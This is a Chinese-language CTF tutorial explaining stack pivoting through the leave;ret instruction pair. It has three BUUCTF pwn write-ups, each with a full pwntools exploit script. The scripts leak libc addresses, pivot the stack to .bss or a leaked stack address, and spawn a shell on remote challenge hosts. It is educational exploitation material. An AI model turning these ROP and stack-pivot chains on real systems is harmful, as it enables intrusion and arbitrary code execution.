栈迁移
简介
当存在栈溢出且可溢出长度不足以容纳 payload 时(在完成一般的栈溢出攻击时,有一个条件是“栈上有足够的地方让攻击者进行布局”),可采用栈迁移。一般这种情况下,溢出仅能覆盖 ebp 、 eip 。因为原来的栈空间不足,所以要构建一个新的栈空间放下 payload ,因此称为栈迁移
栈迁移往往在发生栈溢出的函数能够溢出的只有rbp与返回地址时进行,由于不能输入更多数据来构造rop链,一般会把栈迁往两个位置,一是原来的栈,二是.bss段
栈迁移核心思想就好比是现在很渴,但是水杯里的水就一点点了,根本不够解渴,这个时候就需要自己去寻找水
大概原理(如何调动栈上布局)
首先栈执行命令是从 esp 开始向 ebp 方向逐条执行,也就是从低地址到高地址逐条执行。触发栈迁移的关键指令:leave|ret
,等效于mov esp ebp; pop ebp; ret;
,作用是将 ebp 赋值给 esp ,并弹出 ebp
这里需要补充一下:一个函数在被调用以及结束时的汇编代码以及栈的变化
当上层函数调用foo函数,即 eip 执行到call foo指令时,call 指令以及foo函数开头的指令依次做了如下事情来”保护现场“:
foo结束后应从哪里继续执行(保存当前 eip下面的位置到栈中,即 ret);
上层函数的栈底位置(保存当前 ebp 的内容到栈中,即为old ebp);
foo函数栈开始的位置(保存当前栈顶的内容到 ebp,便于foo函数栈内的寻址);
这三件事分别对应了图中①②里的汇编语句。而当call foo指令执行完后,栈中的内容如下图左所示,之后程序就由foo函数接管了
当foo函数执行结束时,eip 即将执行 leave 与 ret 两条指令恢复现场,此时栈中内容如上图右所示。而由前文可知,leave 与 ret 指令则相当于完成如下事情来”恢复现场“:
清空当前函数栈以还原栈空间(直接移动栈顶指针 esp 到当前函数的栈底 ebp );
还原栈底(将此时 esp 所指的上层函数栈底 old ebp 弹入 ebp 寄存器内);
还原执行流(将此时 esp 所指的上层函数调用foo时的地址弹入 eip 寄存器内);
这三步恰好为之前三步的逆过程。在”恢复现场“的过程中,栈顶指针的位置将完全由 ebp 寄存器的内容所控制(mov esp, ebp),而 ebp 寄存器的内容则可由栈中数据控制(pop ebp)。由此,反过来思考,一旦攻击者能篡改栈上原old ebp 内容,则能篡改 ebp 寄存器中的内容,从而”有可能“去篡改 esp 的内容,进而影响到 eip
然后就可以由这个流程总结出栈迁移的核心思想
简单点来说就是通过直接控制 ebp 的值,借助 leave 指令,间接控制 esp 的值
栈迁移不能算是在内存地址中创建了一个完整的栈结构,而是复刻了栈从高地址到低地址依次执行命令的功能。因为一般情况下多次栈迁移,ebp 地址与 esp 地址关系比较奇怪,ebp 地址会比 esp 低,特别是最后一次栈迁移,ebp 的值不再重要,可被指向到奇奇怪怪的地址,这就相当于没有 ebp 的栈
上文中「有可能」被标注,这是因为 leave 所代表的子指令是有先后执行顺序的,即无法先执行 pop ebp ,再执行 mov esp, ebp,因此直觉上无法先影响 ebp 再影响 esp。然而,既然栈上原 ebp 与 ret 数据也可被任意篡改,这样一来就能扭转二者的执行顺序,如果将栈上 ret 部分覆盖为另一组 leave ret指令(gadget)的地址,即最终程序退出时会执行两次 leave 指令,一次 ret 指令。由此,当 pop ebp 被第一次执行后,eip 将指向又一条 mov esp, ebp指令的地址,而此时 ebp 寄存器的内容已变为了第一次 pop ebp 时,被篡改过的栈上 ebp 的数据。这样,esp 就会被”骗“到了另外的一处内存空间,从而整个函数的栈空间也完成了”迁移“。
正常情况下退出栈时,esp 指向 ebp 所在位置,ebp 指向 ebp 所存储的位置。等同于执行一个 leave ret 的效果
通过直接控制 ebp 的值,借助 leave 指令,间接控制 esp 的值。从上图可见,正常退出 esp 会指向原 ebp 位置。如果我们覆盖 eip 再次执行 leave 指令,esp 将会指向 0x400a0 的位置(ebp 将指向当前 ebp 存储的地址),也就是将栈迁移到 0x400a0 。通过提前布置 ebp 中的地址和调用 leave 指令,可完成连续多次栈迁移。
在上图中也可以看出,栈迁移的地址信息被提前写入,所以明确并提前计算栈被迁移到的内存地址,是栈迁移的关键。
ps:原理看完了其实不是特别懂,实操吧,做着做着就会了
实操
BUUCTF--[Black Watch 入群题]
可以看到只开启了nx,栈不可执行,32位程序
运行会发现,输入字符串过长会报错
ida打开,看到main函数中执行了一个vul_function()函数
存在栈溢出漏洞,buf最多18,但是read最多读取20,但是太小了,8个字节就只能覆盖返回地址无法实现传参
并没有发现后门,nx开启无法写入shellcode应该是libc,而且有write函数
一开始输出m1里的字符串,然后调用read函数给s写入参数,s在bss段上,而且允许写入0x200长度的数据,之后输出m2里的内容,修改ebp和ret后可以将栈指针指向另一处地址addr,需要修改ebp为ebp-4和修改ret为leave;ret地址。这是触发栈迁移的基本过程
查找libc版本
那么现在的思路是,在第一次输入中read把write_plt的地址和它的参数存进去,因为需要system函数地址肯定是需要先泄露libc基地址的,然后第二次输入把ebp给改成bss段的地址,然后把返回地址改成leave,ret地址,然后程序从main函数返回的时候,被劫持到了bss段,去执行了write函数,泄露出来write函数的got地址,并且把返回地址填写成main函数,因为需要再让程序跑一次,要去执行system函数的,现在只是泄露了libc基地址,现在执行完了write函数,然后返回到main函数重新获得了两次输入的机会,接下来依然如法炮制,在第一次输入中存入system函数地址和参数,现在就差了修改ebp了,然后来到了第二次输入,先填充垃圾数据,直到填充至ebp,然后把ebp的地址写成bss段的地址,还要把返回地址写成leave;ret的地址,最后main函数返回的时候就进行了栈迁移,来到bss段,然后执行system函数,成功getshell
from pwn import *
elf = ELF('./spwn')
local = 0
if local == 1:
io = process('./spwn')
#gdb.attach(io,'b * 0x08048511')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
io = remote('node5.buuoj.cn',26824)
bss = 0x804a300
leave_addr = 0x08048511
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
io.recvuntil("name?")
shellcode = p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(shellcode)
io.recvuntil("say?")
payload = b'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)
write_addr = u32(io.recv(4))
print(hex(write_addr))
libcbase = write_addr - 0x0d43c0
system_addr = libcbase + 0x3a940
binsh = libcbase + 0x15902b
io.recvuntil("name?")
io.sendline(p32(0xdeadbeef)+p32(system_addr)+p32(0)+p32(binsh)+p32(0))
io.recvuntil("say?")
payload = b'a'*0x18+p32(bss)+p32(leave_addr)
io.send(payload)
io.interactive()
构建exp
得到flag
BUUCTF--ciscn_2019_es_2
依旧是栈不可执行,32位程序
运行程序可以发现存在栈溢出
ida打开查看main函数,执行了两个函数,init和vul
重点在vul函数,和上一题一样,缓冲区是0x28(40),read可以读取0x30(48),八个字节只够覆盖返回地址
这里有后门,还是同一个问题,溢出空间不足,不能够shellcode,所以要将esp移动到一段shellcode开头,而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到写rop的地址
找到leave_ret地址
在main函数nop处下断点,找ebp距离参数s的位置
得到printf 之后的指令地址0x080485d2
b *vul+0x080485d2
r
info registers esp ebp
ebp-esp
可得到偏移量为0x28
from pwn import *
r=remote('node5.buuoj.cn',26347)
sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef
payload=b'a'*0x27+b'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38
payload2=b'aaaa'+p32(sys)+p32(main)+p32(s+0x10)+b"/bin/sh"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(s)+p32(leave_ret)
r.send(payload2)
r.interactive()
构造exp
得到flag
BUUCTF--gyctf_2020_borrowstack
只开启了nx,64位
运行一下程序,存在栈溢出
ida打开查看main函数,buf是0x60,read读取0x70,只可以溢出0x10字节,只能覆盖返回地址
没有后门,用libc,参数bank在bss段上,所以打算在buf处利用leave指令去劫持栈,让它跳转去bank处,往bank里写入rop链去获取shell
先看最初栈的布局,rip指向leave
leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令
所以现在的思路是覆盖掉old_rbp和返回地址,old_rbp覆盖成bss段,让rbp指过去,接着返回地址需要再调用一次leave
from pwn import *
from LibcSearcher import *
r=remote('node5.buuoj.cn',27016)
bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9
r.recvuntil('u want')
payload=b'a'*0x60+p64(bank)+p64(leave)
r.send(payload)
r.recvuntil('now!')
payload=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.send(payload)
r.recvline()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
one_gadget=libc_base+0x4526a
#system=libc_base+libc.dump('system')
#binsh=libc_base+libc.dump('str_bin_sh')
#payload='a'*(0x60+8)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=b'a'*(0x60+8)+p64(one_gadget)
r.send(payload)
r.interactive()
得到flag